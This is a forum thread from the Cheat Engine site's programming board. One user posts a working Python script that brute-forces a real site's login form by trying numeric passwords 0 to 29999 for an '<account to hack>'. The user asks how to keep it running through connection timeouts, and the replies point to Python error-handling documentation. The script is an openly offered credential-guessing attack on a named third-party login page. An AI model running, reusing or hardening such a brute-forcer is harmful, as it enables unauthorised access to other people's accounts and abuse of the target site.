Cheat Engine Forum Index Cheat Engine
The Official Site of Cheat Engine
 
 FAQFAQ   SearchSearch   MemberlistMemberlist   UsergroupsUsergroups   RegisterRegister 
 ProfileProfile   Log in to check your private messagesLog in to check your private messages   Log inLog in 


Python script - error handler

 
Post new topic   Reply to topic    Cheat Engine Forum Index -> General programming
View previous topic :: View next topic  
Author Message
Haxory'
Grandmaster Cheater Supreme
Reputation: 92

Joined: 30 Jul 2007
Posts: 1900

PostPosted: Sun Jun 01, 2008 3:05 am    Post subject: Python script - error handler Reply with quote

I have this almost perfect python bruter but if the connection times out it stops the sscript, any error handling help?

Code:
import re
import sys
import time
import urllib
import urllib2
import cookielib
import getpass
import time
import random

print "Pr0n for sale"

if len(sys.argv) != 2:
        print "usage", sys.argv[0], "<account to hack>"
        print
       
        sys.stdout.write("enter username: ")
        username = sys.stdin.readline().strip()
        if len(username) == 0:
            sys.exit(0)


else:
        username = sys.argv[1]
       

cookieJar = cookielib.LWPCookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))
opener.addheaders = [('User-agent', "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty)")]


print "Bruteforcing started."

ticknum = 30000

tickets = int(ticknum)
for i in xrange(tickets):
        url = "http://overminds.org/racing/login.php"
        form = {"username" : username,
                "password" : i,
                "login" : "Log+in%21"}
        encodedForm = urllib.urlencode(form)
        request = urllib2.Request(url, encodedForm)
        page = opener.open(request)
        contents = page.read()
        matches = re.compile(".*login accepted.*")
        userid = re.findall(matches, contents)
        print "current password: ", i
        if len(userid) != 0:
                print username
                print i
                break
else:

        print "Ending program..."


_________________
you and me baby ain't nothing but mammals so lets do it like they do on the discovery channel
Back to top
View user's profile Send private message
--Pillboi--
Grandmaster Cheater Supreme
Reputation: 0

Joined: 06 Mar 2007
Posts: 1383
Location: I don't understand the question. Is this a 1 to 10 thing?

PostPosted: Sun Jun 01, 2008 3:15 am    Post subject: Reply with quote

If: http://www.freenetpages.co.uk/hp/alan.gauld/tutor2/tuterrors.htm
Else if: http://mail.python.org/pipermail/python-list/2000-October/056453.html
Else: http://ndanger.org/blog/2008/01/16/error-handling-in-python-monads-are-too-much-for-me/ Razz

_________________

Enter darkness, leave the light, Here be nightmare, here be fright...
Earth and Water, Fire and Air. Prepare to meet a creature rare.
Enter now if you dare, Enter now the dragon's lair.
Back to top
View user's profile Send private message
Haxory'
Grandmaster Cheater Supreme
Reputation: 92

Joined: 30 Jul 2007
Posts: 1900

PostPosted: Sun Jun 01, 2008 3:26 am    Post subject: Reply with quote

Thanks will check them in in a minute


EDIT: Hmm, is there some simple "On Error Resume Next" Code like in VB?

_________________
you and me baby ain't nothing but mammals so lets do it like they do on the discovery channel
Back to top
View user's profile Send private message
--Pillboi--
Grandmaster Cheater Supreme
Reputation: 0

Joined: 06 Mar 2007
Posts: 1383
Location: I don't understand the question. Is this a 1 to 10 thing?

PostPosted: Wed Jun 04, 2008 11:22 am    Post subject: Reply with quote

Sorry, I don't know. I don't program in python or VB6. Razz
All I know, thanks to google:
WikiBooks wrote:
When an error occurs within the try block, Python looks for a matching except block to handle it. If there is one, execution jumps there.

_________________

Enter darkness, leave the light, Here be nightmare, here be fright...
Earth and Water, Fire and Air. Prepare to meet a creature rare.
Enter now if you dare, Enter now the dragon's lair.
Back to top
View user's profile Send private message
atom0s
Moderator
Reputation: 205

Joined: 25 Jan 2006
Posts: 8588
Location: 127.0.0.1

PostPosted: Wed Jun 04, 2008 4:20 pm    Post subject: Reply with quote

Check out the online docs for Python error handling:
http://docs.python.org/tut/node10.html
http://www.python.org/doc/2.1.3/api/exceptionHandling.html

_________________
- Retired.
Back to top
View user's profile Send private message Visit poster's website
Display posts from previous:   
Post new topic   Reply to topic    Cheat Engine Forum Index -> General programming All times are GMT - 6 Hours
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Powered by phpBB © 2001, 2005 phpBB Group

CE Wiki   IRC (#CEF)   Twitter
Third party websites